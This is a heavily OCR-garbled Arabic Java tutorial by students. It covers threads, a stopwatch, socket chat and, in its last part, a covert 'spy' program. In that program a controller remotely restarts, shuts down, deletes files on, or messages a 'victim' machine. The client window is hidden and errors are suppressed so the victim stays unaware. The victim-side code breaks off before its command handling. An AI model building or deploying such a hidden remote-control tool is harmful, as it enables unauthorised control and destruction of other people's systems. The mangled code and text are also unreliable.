SetPriorpity‏ | أولوية والرقم عشرة له أكثر أولوية في التنفيذ وإذا لم تحدد الأولوية فتكون الأولوية الافتراضية هو 


0 


الرقم خسة. 


مغال: 
Thread1.setName (“Saleem”);‏ 
JOptionPane.ShowMessageDialog(Null,”New Name : “+ Thread 1.GetName());‏ 


: Sleep (1000) 


أي تعني إيقاف التنفيذ الممر بمقدار الرقم الممر إلى الدالة م٠ه|ا؟‏ أي بالملي ثانية حيث أن 1000 ملي ثانية تساوي ثانية واحدة. 
وتکتب ال معءع|ا؟ داخJ .Try/Catch‏ 


إعداد الطالبان : تحت اقراف الا ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


مغال : 

قم بكتابة برنامج يقوم بتعبئة كائن من نوع 11ءآا عند الضغط على 0١‏ ٧ال‏ يقوم يإظهار رسالة باسم ال ۵Q4٥٣٣آ‏ القدع غ 
بعد الضغط على زر )0 ني الرسالة الظاهرة في الشاشة يقوم بإظهار رسالة آخرى تحتوي على اسم الك۴۵٥۲"آ‏ الجديد. 

وعند الضغط على زر J80 ١2‏ فأنه يقوم بطباعة رموز على الكائن الآخر 2اءأا ؟ 


SEI 


JButton 1 


عند الضغط على زر J81]0۸١‏ فستظهر 
الرسالة التالية: 
Old Name : Thread-4 zw‏ 


Message 


Old Name : Thread-4 


عند الضغط على زر )0 فستظهر الرسالة 
أخرى وتحتوي على : 


New Name : Saleem 


Message 


New Name :; Saleem 


إعداد الطالبان : تحت اشراف الأ ساد 
سليم شرف ناجي الشميري - هينم فكري عبد الرقبب العواضي ماهر عبد الر هن 


والآن سنقوم بكتابة وشرح الكود : 


السطر (1): { public class Threadl extends Thread‏ 1 
قمنا بتعریف کلاس باسم Thread1‏ ف قسم 1 | public vold runi‏ 2 
التصريحات وعلى أن يكون عام وعبارة ئل" »هم 1 AIEEE‏ 3 
تعنی أن يورث هذا ıلThread1 TEER! o ۴۳ ThreadJı ja‏ 

TY ٤ 
شم اخا لغة الحافا.‎ ۱ 
6 this.sleep (1000) ; EE 
7 } catchl(Exception €) { [ :( as 
8 } قمنا بتعريف دالة من نوع عام هااطں۴) داخل‎ 
9 } . RU٨ )( الكلاس الذي قمنا يانشائه و"ميناها‎ 
1 :)3( السطر‎ 
1 يعمل أي‎ ٣۸ ۲٥ةكللا جلة دوران ماطس طلا أن‎ 
Public class Threadz extends Thread { ۱ قم بالتالی‎ True 
public void runi) { . ا‎ 
while (true) { 
list2.addIltem(”!B#$ $^&* j") إضافة عناصر في كل مرة دوران إلى الكائن 1اءأا‎ 

î n 8 TF 1: r 

حتی تصبح ال ۲۸۲٥۵٩‏ تساوي ۵ا۴۵ وإلا ستظل e‏ 
العناصر تضاف إلى ما لا هاية ; )2000( this.sleep‏ 
السطر (6): [ )€ catchlException‏ } 
وتعني أن العناصر تضاف إلى الكائن 1اءأا كل 


0 ملى ثانية أي كل ثانية. 


سبق وشرحنا السطور (1 و2 و 3). 

السطر 4): 1 
Bona |‏ | إضافة رموز في كل مرة دوران إلى الكائن t2ءأا‏ حت تصبٍ 

0 تساوي ع۴۵ رإلا ستظل العناصر‎ hre متغیر ا ال‎ a 

"hre 2‏ الذي قمنا یانشاءه. 

السطر (3): 

قمنا ياعطاء أولوية رقم (8) لل 2 

الذي عرفناه من ال ٣٥۵۵2‏ ٣آ.‏ 

السطر (3): 


إلى ما لا ماية. 

السطر (6): 

وتعني أن العناصر تضاف إلى الكائن 1اءأا كل 2000 ملي 
ثانية أي كل ثانيتين. 


privale vold 3Button2HouseCl]1cted 


قمنا بتشغیل ال2 . 


Butt0N2ل‏ سیقوم باستدعاء 
ال42ه۴ 1۲آ والذي يقوم بتعنبة 


Thread Tt2=new Thread? | | ; 
La. SELPFriorFityiT) ; 
ta.start li) ; 


Button 


الكائن 52ا بالرموز الموجودة في 
الكود السابق. | 


private void 3JButtonIMouseClickedi java. awt. event. MouseEvent evL) 
Threadl tl=new Threadl/ |) ; 
Ll. setPFriorityll) ; 


1 

2 

3 

4 JIptionPane . showHessageDialog null, "1d Name : " + tl1.getHamel1); 
5 

6 

7 


Ll. setHame ("Saleem") ; 
JUptionPane . showHessageDialog lnull, "Tew Hame 
Ll.start |) ; 


سبق وشرحنا السطور (2و 3و7). 1 
السطر 4 و6): 


: " + tLl1.qetHanel) i; 


رسالة تقوم بإاظهار اسم ال 4١ه۲"۲۴‏ المسمى 11 والخاصية الخاصة بذلك هي ١N 4١٥‏ ه6 . 
السطر (5): 
الخاصية 5613۴ وظيفتها تغير اسم ال ۲۸۲٠١۵١‏ المسمى 1 إلى أي اسم نريده. 


مغال: 
قم بكتابة برنامج عبارة عن ساعة إيقاف عن طريق ال ك2ةهم٣"‏ 
ونحتوي على زر للدشغيل وآخر للإيقاف وآخر لتصفية الشاشة ؟ 


خطوات الحل: 

1- نقوم باستدعاء المكنبة التالية: 
Import org.omg.SendingContext.RunTime;‏ 
2- نقوم بتکوين ۲۸۲٥304‏ في قسم التصريحات ونسميه 

. Stpowatch 


eg Oe 
:)3 السطر (2 و‎ 


تساوي ۴۵‰€ حت لا یظل يعمل اi— Thread‏ 
لأنه يتو قف عندما تکون ق قيمة الدالة ۸R10٨۸)(‏ تساوي ٣ے public class stopwatch extends Thread‏ 


1 
boolean Run = false; « false‏ 2 
ت EERE ahe‏ سض int E.‏ 3 
public void runl) [ h U‏ 4 
while (Run) { |‏ 5 
ilLabell.setText("" + h j++ " ;‏ 6 
نقوم هنا بشرح طريقة عمل الساعة وتحويل ذلك إلى كود: a4;‏ 
u 1 E 0‏ ۳ 9 
إظهار المتغير h +m+s‏ وبينهم العلامة 0% 1 ا ا E.8‏ 
if (s >= 59 } [ 12, 11 „1‏ 
السطر (10و 11 و12): 0 
وضعنا شرط للثواين حيث أذا كانت أقل أو تساوي 59 قم بجعل E:‏ 
الثوايٍ تعود إلى صفر ونقوم بزيادة الدقائق حت تزيد بعد مرور 60 { )58 => else if mı‏ } 
ثانية في كل مرة. ht;‏ 
السطر (13): m=;‏ 
إذا وصلت الدقائق إلى 59 نقوم بجعل المنغير الخاص بالساعة ونزيده { else ifih >= l2)‏ } 
في كل مرة تصل فيها الدقائتق إلى 59 دقيقةء ونجعل الدقائق ترجع =U;‏ 
1 


وتعود إلى الصفر. 


jcatch [Exception €) { 
JJptionPane . showHessageDialog null „e. getHessage l1 1 ; |} 


إعداد الطالبان : تحت إشراف الأسناذ: 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


private void 3JButton3HouseCl1icked | java. awt. event. HouseEvent evLI [{ 


wa. Eun=false ; Ew 8 4 EERE EEE 
iLabell1.setText ("0") ; في هذا الزر قمنا يايقاف عمل المتغير 05 المورث من الحكلاس الذي تم إنشاءه والمسمى‎ 


| وجعل القيم داخل الكائن 611(هال تساوي للصفر.‎ stopwatch 
private void 3JButton2MouseClicked | java. awt. event. HouseEvent evVL] [{ atop 

y3. Bun=false; 
| نجعل قيمة المتغير مساوية ل هاه والتي تقوم يايقاف الوقت.‎ 


stopwatch Ws; 


Private vold 3ButtonlHouseClIcKedi java. awt. event. MouseEvent evL) [ 


W3 =NEW stopwatch Î | ; 


W3. 3= Integer. parselnt (| JLabell.getText | | | ; ف ت التصريحات‎ W5 CC قا‎ a al 
ws. m= Integer. parselnt | JLabeEll.getText (1; 
ws.h= Integer. parseInt (jLabell.getText (| | ; . 100 W2٤1 والمتغير من نوع كلاس‎ 
ws. Fun=true ;: النوان من الكائن‎ 5S في السطر التالي قمنا بجلب قيمة المتغير‎ 
wa.start | ) ; وكذلك للمتغیر ۳ , ۷ الخاص بالدقائق والساعات.‎ لاهbە1‎ 
1 عبر جعل قيمة الدشغيل له مساوية‎ ۷5S ثم تفعيل عمل المتغير‎ 


. True 
.0S ثم بداية عمل المتغير‎ 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


Chat 


وبعد أن ذكرنا بعض النعريفات المنعلقة بالشبكة سوف نقوم الآن بشرح طريقة عمل الاتصال بين جهازين عبر الشبكة. 
مغال: 
أكتب برنامج لعمل شات بين جهازين يكون احدها رئيسي و الأخر فرعي ؟ 


نقوم بتصميم الشاشة التالية ونضع فيها SES‏ 


الآأدوات التالية: 

في واجهة السرفر: 

1. اbeھ‏ ال کائین. 

n .2‏ utt0طل‏ کائن واحد. 

3. 1عeXtAreا[ل‏ کائن واحد. 
4. extF۴ieldال‏ کائن واحد. 
ف واجهة الأخرى: 

1. اeطھال‏ کائنین. 

n .2‏ utt0طل‏ کائن واحد. 

3. eXtAre1ا[ل‏ کائن واحد. 
4. ext۴ieldال‏ کائن واحد. 


Client 


| 
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import java. avt. Lolor; 
import java. awt. Font; : يجب علينا أولا استيراد المكتبتين الخاصة بعملية القراءة والكتابة عبر الشبكة وها‎ 
import java.net. *; Import java.net.*; 
import java.io.*; Import java.io.*; 
import Jjavax. saving. JUlptionP ane ; 
في قسم التصريحات نعرف الأي:‎ 
ه؟۲م ام5 ليكون الجهاز هذا‎ e) السطر (1): قمنا بتعريف منغير من نوع‎ 
سيرفر أو المتحكم ببقية الأجهزة.‎ 
ServerSocket servers: | السطر (2): قمنا بتعريف متغير 50€ لنحدد أذا کان سیرفر اما لا في الاكواد‎ 
Sacket soc; العالية.‎ 
LatalnputStream in; لعملية القراءة عبر الشبكة أي الإدخال‎ in السطر )3 و4: تعريف متغیرین الأول‎ 


والثان الاه لعملية الكنابة عبر الشبكة أي الإخراج. 


public void runi] { 


LEY 1 
SPEVEES = Mew ServerSocket (FUUU) ; 


30C = sFerveErFS, accept | | ; 
in = new DatalnputStreami 30c. geLInputStLreaml ) j ; 
oUt = new PrintStreamil soc. getOutputSstreaml |) j ; 
jLabel1.setText ("Lonnected..... "E 
i catchlException €) { 
JIptionFPane . showHessageDialog (null, e. gqetHessage | ) | ; 


في السطر (1): أنشئنا كلاس من نو ع ١۸۲٥۵١‏ وقمنا بتسمية 0١٣٥٤٤‏ ليقوم بعملية الاتصال عبر الشبكة 

السطر (2): دالة داخلة الكلاس من نوع عام وامها ٣١ا٣‏ . 1 

السطر 4): اسندنا قيمة للمتغير 5۲۷۵۲١5‏ وجعلنا البورت الخاص به يساوي 9000 كما ذكرنا سابقا بأن نظام الدشغيل يحتوي 
على 65535 بورت فقمنا ياختيار هذا البورت ويمكن أن نضع أي رقم من بعد 1023 وذلك لأن البورتات من صفر إلى 1023 
خاصة بالويندوز. 

السطر (5): جعل المتغير 50€ على أن يكون سرفر. وحيث أن بقية الأجهزة المرتبطة بالسرفر يجب أن يكون ها ۴| خاصة لكل جهاز 
للتعرف عليها ضمن الشبكة » ما عدا جهاز السرفر فليس له ۴| للتعرف عليه 

السطر (6): نسند قيمة للمتغير ١‏ ليقوم ياحضار البيانات عبر الشبكة. 

السطر (7): نسند قيمة للمتغير ما0 ليقوم ياخراج البيانات عبر الشبكة. 

السطر (8): إظهار كلمة Connected‏ ضف حالة أن الاتصال عبر الشبكة يعمل والا يذهب إلى ال ۸٤٤هC‏ لينفذ السطر 
جحلب الخطاء. 


إعداد الطالبان : تحت اقراف الأ ساد 
سليم شرف ناجي الشميري - هيثم فكري عبد الرقبب العواضي ماهر عبد الر هن 


public class connectth extends Thread { 


PrirntStreaAm out; 


در لم س طب a U‏ لہod‏ ن0 6O‏ 


private vold 3JButtonlMouseClI1icked | Java. awt. event. MouseEvent evL)] {1‏ 1 
السطر (2: الكائن 3TextAreal. setFont [new Font { "Arial", Font. BULD,18)}; JTextArea1‏ 2 
تستخده للتخحاطب عبر الشات وهنا قمنا ا 3 
بوضع String üM = jJTextFieldl1.getText l ) ; E‏ 4 
JTextAreal.append("Saleem said: " + qm + "n" J;‏ 5 
السطر (3): لون الخط داخل الكائن ;) cut.printlinl Mm‏ 6 
jTextField1.setText ("") ; . JTextArea1‏ 7 
السطر 4): تعريف متغير لجلب البيانات ; | | jTextField1.requestFocus‏ 8 
من الكائن .J1e»† ۴٥|‏ }| 9 
السطر (5: الخاصية ك٣‏ ٥م‏ مه وتقوم 
بجلب البيانات الم جودة داخل امغر private vold formWindowO0pened | Java. at. event. VindovwEvent eEvL)] { m‏ 
وعدم مسح الكائن connectth cth = new connectth | | ; JTextArea1‏ 
بالبيانات السابقة وإغا إضافة بيانات ف ص Î‏ ا ا 
تعريف متغير ۸ من النوع t†عممnهدc‏ وبداية عمل المتغير 1 
ew‏ [ 0 داخل الحدث formWindowOpened‏ حت يعمل 
السطر (6): إخراج البيانات الموجودة الاتصال عند فتح الفوره. 
داخل المتغير ۳ عبر الشبكة ليستقبلها 
الجهاز الأخر. 
السطرين (7 و 8 ): تفريغ الكائن 
extFieldال‏ وجعله فارغ وإعادة 
تركيز مؤشر الاوس على الكائن 
JTextField‏ . 
يجب علينا اول استيراد المكتبتين الخاصة بعملية القراءة والكتابة عبر الشبكة وها: 
Socket anc: Import java.net.*;‏ 
DatalInputStream in; Import java.io.*;‏ 
کما شر حنا سابقا نعرف المتغيرات 50€ و |٣‏ و اا0 .. ضڪ | PFrintStream out;‏ 
private void getConnectionl)] {‏ 1 
try {‏ 2 
s0C = new Socket("l27.U0.0.1",FUOUU) ;‏ 3 
in = new DatalnputStreami 20c. geLInputStLreaml ) | ;‏ 4 
OUT = ew PFrintStream( 30c. getOutputSstream/ ) | ;‏ 5 
JLabelz.setText ("Lonnecting"" } ;‏ 6 
catch (Exception e) {‏ 7 
JUptionP ane. showHessageDialog (null, e. getMessage  ) ) ;‏ 8 
9 
نكتب دالة من نوع خاص ونسميها 86٤0١۸۸۵۲10١‏ وهي لتقوم بجلب الاتصال عبر الشبكة. ;| 10 


السطر (3): اسندنا قيمة للمتغير 50€ وجعلنا البورت الخاص به يساوي 9000 كما ذكرنا سابقاً وكذلك نحدد الءیئعr ۱P Ad‏ 
الخاص بالجهاز ال ١٤‏ ها٣‏ ونضع له البورت الخاص بجهاز السرفر (9000). 


إعداد الطالبان : تحت إشراف الأسغاذ: 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


private vold reciveHessagel) 1 
tLrFY { 
ff JlexLAreal. setFont [nev Font{("Arial",Font. ITALIL,13)); 
JTextAreal . setForeground(Lolor. BLUE } ; 
sLrEINnJ ü = in.readLine | j ; 
JIextAreal.append( "Basheer sald: " + po + "Ain" |; 
} catchlException e) { 
wessaqgeDlialog [nuLl , E. getHessage | | | ; 


1 
2 
3 
4 
5 
6 
7 
8 
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JliptionPane. sh 


نكتب دالة من نوع خاص ونسميها ۲۵6۳1۷۵855386 وهي لتقوم ياستقبال الرسائل عبر الشبكة. 
السطر (4): الكائن [٣۴×۸ ١٠١۵1‏ نجعل لون الخط أزرق. 
السطر (5): تعريف متغير ۷| من نوع نصي ونسند له قيمة لقراءة المنغير |١‏ المعرف في قسم التصريحات والذي يقوم بقراءة البياناات 


private vold formHouseClicked( Java. awt. event. HouseEvent eEvL] { 
reciveHessagqe | j ; «€ 


private vold formWNindowOpened | ] ava. at. Event. WindovEvent evL]) {‏ ا 


gqetConnection | | : q4 


إعداد الطالبان : تحت اقراف الأ ساد 
سليم شرف ناجي الشميري - هيثم فكري عبد الرقبب العواضي ماهر عبد الر هن 


مثال آخر على القراءة والكتابة عبر الشبكة: 
أكتب الكود اللازم لعمل برنامج مكون من مشروعين الأولى عبارة عن جهاز يتحكم ويتجسس على المشروع النان والذي 
هو عبارة عن جهاز الضحية ؟ 


شکل نافدة 
FrmServer /‏ . 
Stale: CONNECIEM..........‏ 


Enter your message here: 


` 


Enter File Name to he deletecl: 


3 


شکل نافدة جهاز اأ أضحبة 
FrmClient‏ 


خطوات الحل : 
ولا : یانشاء مشروع ونسمي الفورم .۴۲٣۸5۵۲۷۵۲‏ 
ثانیا : نقوم بانشاء مشرو ع آخر ونسمي الفورم ٩‏ )۴۴۳۸ . 


أولا : ني المشروع ۴۲٣۸5۵۲۷۵۲‏ نضع الأدوات التالية: 


لاسم البرمجي 
sue | Tbe‏ 1 
Û abe‏ 


JPanell 


عبارة عن حاوية نضع فيه الأدوات التالية: 


Enter Your Message Here: a. Jlabel4 


JTextFleld1 


JPanel2 
حاوية نضع فيه الأدوات التالية:‎ 


Enter Your Name To Be Jlabel5 
Deleted: 


J TextFleld2 
JPanel3 
حاوية نضع فيها الأدوات التالية:‎ 


ثانيا : في المشروع :FrmClient‏ 
لا نقوم بوضع أي شي على الفورم لأننا فقط نريد أن نتجسس على جهاز الضحية › لذا لا نضع أدوات وحت أننا نقوم 
ياخفاء الفورم حت لا يعلم الضحية بوجود نافذة مفتوحة» وسيأين شرح ذلك لاحقا. 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


أولاً ; شاش FrmServer‏ 


SES‏ شكل نافذة 
FrmServer‏ 


عبارة عن كائنات أعطوال 


عبارة عن كائنات أع٥ھ J٥‏ 


عبارة - JButton e‏ م 


سنقوم الآن بشر ح الآكواد الخاصة بالمشرو ع ۴۴٣5٥۲۵۷۲‏ : 


السطور (1 و 2): ;* import java.net.‏ 
في قسم التصريحات نقوم باستدعاء المكاتب الخاصة بعملية القراءة والكنابة ;* import java.io.‏ 
عبر الشبكة. Import Javax. saving. JUptionPane;‏ 


public class frmServer extends javaxz. saving. JFrame { 


public frmgGerver | | 1‏ 
ثم في قسم التصريحات نعرف كذلك ا ; | | initComponents‏ 
السطر (11): قمنا بتعریف متغير من نوع ٠۲50)‏ ۲۷ه5 ليكون الجهاز هذا 1 
سيرفر أو المنحكم ببقية الأجهزة الموجودة عبر الشبكة. 
السطر (12): قمنا بتعريف منغير 50€ لنحدد أذا كان هذا الجهاز سيرفر ام لا في ServerSocket Servers;‏ 
الأكواد التالية. SUCkEEL soc;‏ 
السطر (13ر14): تعريف منغيرين الأول ١أ‏ لعملية القراءة عبر الشبكة أي DataInputStream in;‏ 
الإدخال» والثان اما لعملية الكتابة عبر الشبكة أي الإخراج. 


1 
2 
3 
4 
5 
6 
7 
8 
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PrintStLrEFAM out; 


في السطر (1): انشئنا کلاس من نو ع connectth ةيمıستب انمnقر ۲۸€ ۵d‏ 
ليقوم بعملية الاتصال عبر الشبكة. 


السطر (2): دالة داخلة الكلاس من نوع عام وامها ۲۲۸ . 


السطر (4): اسندنا قيمة للمتغیر 5۵۲۷۵۲5 ا { public class ConnectTh extends Thread‏ 
به يساوي 9000 کما ذکرنا سابقا بأن نظام التشغيل يحتوي على | 


public void runi |‏ 
5 بورت فقمنا ياختيار هذا البورت ويمكن أن نضع أي رقم 


LEY! 


من بعد 1023 وذلك لأن البورتات من صفر إلى 1023 خاصة 


sErVEES = new ServerSsocket ( CUUU) ; 
sûc = ServerS.accept | | ; بالويندوز.‎ 


السطر 5 : جعل المتغير 0ء على أن ن % | oUt = new PFrintSLreamil 30c. getÛutputStreaml‏ 
ا وحیث أن بقية الأجهزة المرتبطة ۳ nun nmn n‏ 

بالسرفر يجب أن يكون ها ۴| خاصة لكل 
جهاز للتعرف عليها ضمن الشبكة › ما عدا 
جهاز السرفر فليس له 1۴ للتعرف عليه 


در لم۸ س طب ل 0a‏ ہا نھ ف6 


btnöend. setEnabþled (true ) ; 

btnUDelete.setEnabled (true | ; 

btnrnTurnUff. setEnabþled {true |) ; 

btnEestart. setEnaþled (true ) ; 
fcatch{(Exception e] { 

JiliptionPane . showHessageDialog Inull ,F.getHessage | | 


السطر (6): نسند قيمة للمتغير ١‏ ليقوم ياحضار 
البيانات عبر الشبكة. 1 
السطر (7): نسند قيمة للمتغير لات ليقوم ياخراج السطر (8): نجعل الاسم الظاهري للكائن 11ع هال بأسم 
البيانات عبر الشبكة. “Connected”‏ أي أنه في حالة تم الاتصال عبر الشبكة 
فأنه بظهر بأنه متصل والا فأنه سیظل کما تم تسمیته سابقا ب 
“Not Connect”‏ . 
السطور (9 ر10 ر11ر12:: نقوم ججعل الكائنات المو جود على 
الفورم تعمل حيث الكائنات J8» 0١‏ قبل أن يكون هنالك 
إتصال بالفورم فأن الخاصية ها 4٥ا‏ ط۴۸۵ مساويه ل 
ما۴ أي غير مفعلة . 
ولكن بعد عميلة الاتصال عبر الشبكة فأن الكائنات 


JButton‏ تصبح مفعلة. 


إعداد الطالبان : تحت اقراف الأ ساد 
سليم شرف ناجي الشميري - هيثم فكري عبد الرقبب العواضي ماهر عبد الر هن 


ifIlblState.getText | | .equals LonneECTEd.......... "I f 
String mü = "$Restart"; نکب الكود التال:‎ Rs داخل زره‎ 
out.pkfintln in) ; | أي انه م‎ “connected” السطر (2): إذا كان الكائن عtهغ؟5|ط| مساوي ل‎ 
out.println (n) ; الاتصال عبر الشبكة فغذ التالي.‎ 
| السطر (3): عرفا متغير من نصي 1 والمنغير يقوم يارسال بيانات للقيام بعمل إعادة‎ 
تشغيل لجهاز الضحية . وكلمة ٤3ء $۸ نكتب داخلها المسار ولكن لن نتطرق هذا‎ 
الكود كامل وأغا نأخذ معلومات بيسطة عن كيفية عمل ملفات التجسس.‎ 


- 41 | private vold btnTurnlDfiMouseCl1cked | Java. awt. event, HouseEvent evt) { د‎ 
2 
3 
4 
5 


¬ 1 private void þtnRestartMouseClicked( java. awt. event. HouseEvent evt) { Restart د‎ 3 
2 
3 
4 
5 


if(lblState .getText ( j .equals("LonnECTEd.......... “I {f 
stLrINng û = "ŞTurnllf"?; 
out.printlninm) ; 


داخل زر ۴© ۲۸ ںآ نکتب الکود التالی: 
السطر (2): إذا كان الكائن #tة†؟5اط|‏ مساوي ل “connected”‏ أي أنه ۃ 
a E‏ ة فغ التالي. ; Ut. BFINLINIT)‏ 


السطر (3): عرفنا متغير من نصي 1 والنغير يقوم يارسال بيانات للقيام بعمل إيقاف 1 


1 
if{lblState.getText | | .egquals | "LonnECTEA.......... "A {f‏ 2 
if (jTextField2.getText ( j .equals("")) {‏ 3 
JiptionPane .showiessageDialog lnull, "Enter File Name");‏ 4 
else!‏ 5 
sLrEINng ü = "Delete - " + JTextField2.getText | | ;‏ 6 
opt.printIn (|) ;‏ 7 
داخل زر 01٥٥‏ نكتب الكود التالي: ; out,printlIn (n)‏ 8 
السطر (2): إذا كان الكائن ٥tةt؟|ط|‏ مساوي ل “connected”‏ أي أنه ; )""( iTextField2.setText‏ 9 
تم الاتصال عبر الشبكة فنفذ التالي. 
السطر (3: إذا كان الكائن 42|ع [٣٥۴×٤۴1‏ والذي وظيفته إرسال مسار الملف 
المراد حذفه من جهاز الضحية. فإذا كان امسار في قرص السى ججهاز الضحية فأننا 
ا 
.“C:!NWI|NDOWS\Media”‏ فنه سوف يم حنف ال لفات الخاصة بنظام 1 
التشغيل ويندوز جهاز الضحية. 
فإذا كان لا يوجد مسار فقوم ياظهار رسالة تشير إلى أنه بجحب كتابة اسم ملف 
حذفه» وإذا م يكن هنالك فراغ أي أنه تم كتابة مسار ملف فنفذ التالي. 
السطر (6): تعريف متغير نصى ١‏ ليأخذ المسار من الكائن 42|ع!۴†»×٥J1‏ 
وإرفاقه مع “Delete - ” ial‏ والتي تدل على أن النص الذي بعد هذه الكلمة 
عبارة عن مسار للف يجب حلفه. 
السطور (7و8): لإخراج المغير ١‏ عبر ال اا0 والتي وظيفتها كما شرحنا 
سابقا بأها تقوم بعملية الإخراج عبر الشبكة. 
السطر (9): جعل الكائن Q42ء|أ۴×ع1ل‏ مساوي لفراغ. 
السطر (10): إعادة تر كيز الماوس على الكائن Q42ء|أ۴†»×ع۲[.‏ 


10 jTextField2.requestFocus | | ; 


إعداد الطالبان : تحت اقراف الا ساد 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


1 private void btnöSendHouseClicked (| java. awt. event. HouseEEvent evtL) { کو د‎ 
2 if(lblState. gqetText | | .equals ("LonnecTtEd.......... "TF f 
3 if ([jTextFieldl1.getText |) .equals(""))} { 

4 JUptionPane .showHessageDialog (null, "Enter Message") ; 
5 else 
6 

7 

8 

9 


aLEINng ü = "Message - " + 1TextFieldl.getText | |;‏ 
UL. BEINLINIKGÎ ;‏ 
داخل زر 5۵۸ نکتب الکود التالي: ; out.printlIn (mu)‏ 
السطر (2): إذا كان الكائن مtة†؟5ط|‏ مساوي ل ”dع†connec“‏ أي أنه ۃ ; )""( iTextField1l.setText‏ 
الاتصال عبر الشبكة فبفذ التالي. 

السطر (3): إذا كان الكائن 1١1Qع۴٤×ع٠[‏ والذي وظيفته إرسال رسالة إلى جهاز 
الضحية» فإذا كان فرا غ فأنه يجب كتابة رسالةء وإذا كان يوجد نص أي رسالة فنفذ 
التاي. 1 
السطر (6): تعريف متغير نصى 1 ليأخذ المسار من الكائن 42|ع۴†×٥٦J1‏ 


10 JTextFieldl1.requestFocus | | ; 


وإرفاقه مع “Message - ” anl‏ والتي تدل على أن النص الذي بعد هله 
الكلمة عبارة عن رسالة سيم إرساها عبر الشبكة. 

السطور (7 و8): لإخراج المتغير ۷1| عبر ال ها0 والتي وظيفتها كما شرحنا سابقا 
بأها تقوم بعملية الإخراج عبر الشبكة. 

السطر (9): جعل الكائن Q42ع|أ۴×ع1ل‏ مساوي لفراغ. 

السطر (10): إعادة تر كيز الماوس على الكائن Q42‏ ء|أ۴†×٥٣١[.‏ 


1 private vold formWindowlpened i java. avwt. event. WindovEvent eEvt) { 

2 LonnectIh cth = new ConnectTIhl ) ; 

تعريف متغير ع من النوع Conn‏ وبداية عمل المتغير ; cth.start | j‏ 3 
داخل الحدث formWindowOpened‏ حت يعمل 1 


الاتصال عند فتح الفورم. 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


أولً ; شاش FrmServer‏ 


کف نافذة جهاز الضحبة 
FrmClient‏ 


a 


0# 
# 


سنقوم الآن بشرح الأكواد الخاصة بالمشرو ع ا مiا€"۴۴:‏ 


السطور (1 و 2): ;* import java.net.‏ 
في قسم التصريحات نقوم باستدعاء المكاتب الخاصة بعملية القراءة والكتابة ;* import java.io.‏ 
عبر الشكة. ; Import Javax. CrYFpLoO. HullLipher‏ 
importL Jjavaxk. Svinq. JllptionPane ;‏ 


public class frmLlient exLlLends javaxX. swing. JFrame 
public frmClient () j 
LnILComponents | ] ; 

نم في قسم التصريحات نعرف كذلك الآن: 1 

السطر (11): قمنا بتعریف متغیر 50€ لنحدد عن طریقه sئ6ا Ad‏ ۴| الخاص 

بجهاز الضحية وكذلك نحدد البورت الخاص بجهاز السيرفر ليتم التحكم بججهاز Suacket soc;‏ 
الضحية عبر منفذ البورت. LatalnputStEeam I1in:;‏ 

السطر (12ر13): تعريف متغيرين الأول |١‏ لعملية القراءة عبر الشبكة أي PrintStream out;‏ 
الإدخال» والثان الا لعملية الكتابة عبر الشبكة أي الإخراج. 


1 
2 
3 
4 
5 
6 
7 
8 
9 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيشم فكري عبد الرقيب العواضي ماهر عبد الرهن 


ثم في قسم التصريحات نعرف كذلك الأي: 

السطر (1): أنشننا كلاس من نو عQ ۲۸۲٠۴۵‏ وقمنا بتسمية K0 ۸١6٤١‏ ليقوم بعملية الاتصال عبر الشبكة ججهاز الضحية. 
السطر (2): دالة داخلة الكلاس من نوع عام واسمها ١‏ ١ا٣.‏ 

السطر 4): اسندنا قيمة للمتغير 50€ وجعالنا البورت الخاص به يساوي 9000 حيث هذا البورت المنفذ ليتم الدخول عبره من 
الشبكة» وكذلك نحدد الكءه۲ AQ‏ ۴| الخاص ججهاز الضحية ونضع له البورت الخاص ججهاز السرفر (9000). وحيث أن بقية 
الأجهزة المرتبطة بالسرفر يجب أن يكون ها ۴| خاصة لكل جهاز للتعرف عليها ضمن الشبكة » ما عدا جهاز السرفر فليس له ۲| 


للتعرف عليه 

السطر (5): نسند قيمة للمتغير |١‏ ليقوم يإاحضار البيانات عبر الشبكة. 

السطر (6): نسند قيمة للمتغير ۷ا0 ليقوم ياخراج البيانات عبر الشبكة. 

ملاحظة مهمة في السطر (7): 

لا نقوم بكتابة أي اسننناء ١0م ۴E×٤6‏ وذلك لأننا لا نريد أن تظهر رسالة خطاء في حالة حدوثه ويعلم جا الضحيةء لذلك لا 
نقوم بكتابة الاستخناء حى لا تظهر رسائل الخطاء عند حدوث خطاء في الاتصال أو غيرها من الأخطاء. 


public class LonnectIlh extends Thread { 
public void runi) { 
LEY 1 
a0C = new Socket{i"l27.U.U. 1", RUUD); 
in = new DatalnputStreanml 20c. getInputStreaml | | ; 
oUt = new PFrintStreanl 30c. getOutputStreaml | | ; 
tcatch(Exception e] {} 


د لم پں طب ل a‏ لہ م0ن فى 


1 


Public class ListenTh extends Thread | 
public void runi) 
while true) 1 
try { 
if{in.readLine (ll .lengthi)l > 1] 
tcatchlException elf} 


در ل۸م پس طب ل 0a‏ لہا مھ فى 


ثم في قسم التصريحات نعرف كذلك الآي: 

السطر (1): أنشئنا كلاس من نو عQ 1۸۴٠۵‏ وقمنا بتسمية 1۸۲۸ءا ليقوم بعملية استقبال الأوامر عبر الشبكة لجهاز الضحية. 
السطر (2): دالة داخلة الكلاس من نوع عام وامها ١‏ ١ا٣.‏ 

السطر (3): جملة ٠اط‏ حيث أنه طالا أن ال 4ك ه٠۲٣۲‏ مساوي ل هد٣‏ أي أنه يعمل بطريقة صحيحة فقم بتنفيذ التال. 

السطر (5: إذا كانت الخاصية ١٠۴‏ أ]اك۴۵۵Q٠۴‏ رهى للقراءة عبر الشبكة للمتغير ١أ‏ طوها أكبر من واحد أي هنالك نصوص مرسلة عبر 
الشبكة فقم بتنفيذ الآن. 

